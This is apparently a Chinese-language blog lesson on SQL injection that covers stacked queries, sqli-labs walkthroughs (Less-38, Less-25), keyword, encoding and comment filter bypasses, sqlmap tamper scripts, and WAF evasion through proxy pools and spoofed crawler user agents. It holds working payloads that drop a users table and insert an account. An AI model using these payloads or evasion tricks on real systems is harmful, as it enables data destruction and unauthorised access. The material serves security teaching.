07_SQL注入_堆叠注入&绕过注入
1.堆叠注入
1.1 注入理论
谈及堆叠,顾名思义:就是多条语句一同执行。实际开发中,部分数据库支持多条SQL语句同时执行,在这样的场景下进行SQL注入,我们是否能够在payload中构造多条可执行语句呢?当然可以。SQL语句中“;”代表了一条语句的结束,在写入payload时只需要用“;”分割多条语句,在限制不到位的情况下就可以自定义执行多条语句,案例如下:
假设数据库中存在表users
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
如果恶意用户将参数人为构造成:?id=1' ;drop table users --+
垓参数与SQL语句进行拼接,就会变为:
SELECT * FROM users WHERE id='1' ;drop table users; --+' LIMIT 0,1
一旦恶意代码被执行,users表就会被删除
通过上述案例,不难发现,对比与联合查询union,使用堆叠注入的手法能够拼接任意可执行语句而不是仅仅局限于先前union只能够拼接查询语句。这样一来,堆叠注入的使用场景就清晰了:当我们收集到足够的信息后,堆叠注入可以帮助我们实现更多的自定义操作:例如在权限足够的情况下向表中插入新的管理员,再例如导出或删除关键数据库信息。但是需要注意,使用堆叠注入的手法也存在着局限性:并不是所有的数据库都支持多条语句同时执行。常见的支持堆叠的数据库有MySQL、MsSQL。至于Oracle,堆叠注入就不适用了。
1.2 堆叠注入案例
【靶场】sqli-labs-less38
【目标】利用堆叠注入的手法向数据库中添加自定义用户
注入点判断
GET /sqli-labs-master/Less-38/?id=1' HTTP/1.1
GET /sqli-labs-master/Less-38/?id=1'--+ HTTP/1.1
GET /sqli-labs-master/Less-38/?id=1' and 1=2--+ HTTP/1.1
信息收集
GET /sqli-labs-master/Less-38/?id=1' and 1=2 union select 1,2,3--+ HTTP/1.1
GET /sqli-labs-master/Less-38/?id=1' and 1=2 union select 1,version(),database()--+ HTTP/1.1
GET /sqli-labs-master/Less-38/?id=1' and 1=2 union select 1,user(),database()--+ HTTP/1.1
查询信息
GET /sqli-labs-master/Less-38/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+ HTTP/1.1
GET /sqli-labs-master/Less-38/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security" and table_name="users"--+ HTTP/1.1
至此我们得到users的表结构
id | username | password |
---|---|---|
利用堆叠注入向users中插入数据
GET /sqli-labs-master/Less-38/?id=1' ;insert into users(id,username,password) values ("88","test_stack","1234567");--+ HTTP/1.1
查看数据库:插入成功
2.绕过注入
常见绕过思路
本节主要介绍面向比赛的绕过方式和思路,在CTF比赛中,需要配合绕过的题型占比较大,因此对于绕过的手法和思路是必须的。CTF的题型涉及大多面向实战,此类题型对应实际业务中的WAF绕过,但实际业务中的操作必然要更加复杂,CTF中的题型只是为了开拓绕过的思考方向。
首先思考,我们需要绕过的是什么?反向思考,如果你是开发者,你会怎么做来降低SQL注入的可能性?一种思路是将代码写的更加严谨,从编码开始就对用户的输入进行过滤:
1.关键字过滤
#这种情况下可以采用关键字穿插的方式
or --> oorr
and --> aandnd
union --> uunionnion
select --> seselectlect
... ...
#仅在比赛情况下,也可以采用大小写的方式来进行绕过
#但是在实战中,采用这种策略已经不是那么的实用
or --> Or
select --> SEleCt
union --> UniOn
and --> aND
【案例】SQLi-labs-less 25
GET /sqli-labs-master/Less-25/?id=1' and 1=2--+ HTTP/1.1
页面出现报错,下方提示:Your Input is Filtered with following result: 1’ 1=2–
说明这里再编码时将and进行了过滤,采用关键字穿插进行尝试
GET /sqli-labs-master/Less-25/?id=1' aandnd 1=2--+ HTTP/1.1
达到预期效果,至此有两条思路进行后续渗透:其一、联合查询;其二、报错注入;不加赘述
2.加密绕过
有些情况下,过滤函数可能采用了加密编码的方式进行过滤,此时只需要采用工具进行相同的加密方式对payload进行提交即可,这里需要用到burp suite中的decoder模块进行操作。有时会遇到采用HEX十六进制编码的形式进行参数过滤,这时需要采用decoder模块对关键字进行整体或部分的替换
#base 64 编码
select --> c2VsZWN0
or --> b3I=
and --> YW5k
union --> dW5pb24=
#十六进制
and --> an\x64
or --> selec\x74
参见前篇博客:传送门
3.利用注释和特殊符号
#常见注释符
#
--
//
/***/
/**/
;%00
有时可以通过注释符来进行绕过,假设开发者对空格进行了限制:payload中可以采用如下方式
select/**/table_name/**/from/**/infromation_schema.tables
换行符%0A有时也可以对过滤机制进行干扰,因为在一些数据库中允许SQL语句换行如下所示:
不难发现,对于SQL注入的防护大多是基于过滤的,绕过思路归结起来就是采用其他方式干扰检测机制,无论注释符还是换行符等符号,包括URL编码结果都是有限的,但即便是有限的变化,对于手工注入而言,还是相当耗费时间和精力的。此时我们需要用到sqlmap这样一个强大的工具,很多人会说,sqlmap有手就行,其原因也也很简单:对于其支持的数据库,采用相同的语法就能操作。但这个工具真正强大至此在于,当测试人员掌握了一定的开发能力,既可以在tamper中加入一些自定义脚本,实现一些操作,这些操作中就包括了WAF绕过,这种情况下需要调用tamper中的py脚本进行绕过。
1、apostrophemask.py
作用:将引号替换为utf-8,用于过滤单引号
2、base64encode.py
作用:替换base64编码
3、multiplespaces.py
作用:围绕sql关键字添加多个空格
4、space2plus.py
作用:用加号替换空格
5、space2randomblank.py
作用:将空格替换为其他随机有效字符
6、unionalltounion.py
作用:将union all select 替换为union select
使用脚本前:tamper(‘-1 UNION ALL SELECT’)
7、space2dash.py
作用:将空格替换为破折号(–),并添加一个随机字符和换行符(\n)
9、between.py
作用:将">“替换为"NOT BETWEEN 0 AND #”,将"=“替换为"BETWEEN # AND #”
10、charencode.py
测试数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:对指定的payload全部使用url编码(不处理已进行编码的字符)
11、randomcase.py
作用:将字符替换为随机大小写
12、space2comment.py
作用:将空格替换为/**/
很多情况下需要根据实际情况,自定义编写脚本进行操作,但是随着防火墙技术的发展,不少WAF一旦检测到非法输入就会将IP拉黑,这种情况下又要怎么处理呢?理论上,可以利用代理池技术。何为代理池?通俗的说,就是准备大量的代理节点对目标进行尝试,一旦IP被拉黑就换一个代理继续测试。
与此同时,在使用sqlmap进行实际注入时,还需要将自身伪装成合理的用户。不少WAF软件都存在着“爬虫白名单”,里面记录了主流浏览器的爬虫头,现整理如下:
USER_AGENTS =
['Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1',
'Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1',
'Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11',
'Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)',
'Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,likeGecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5',
'Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5',
'Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5',
'Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10',
'Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13',
'Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+',
'Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0',
'Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; HTC; Titan)',
'UCWEB7.0.2.37/28/999',
'NOKIA5700/ UCWEB7.0.2.37/28/999',
'Openwave/ UCWEB7.0.2.37/28/999',
'Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999']
SQL注入部分结束,接下啦将介绍文件上传漏洞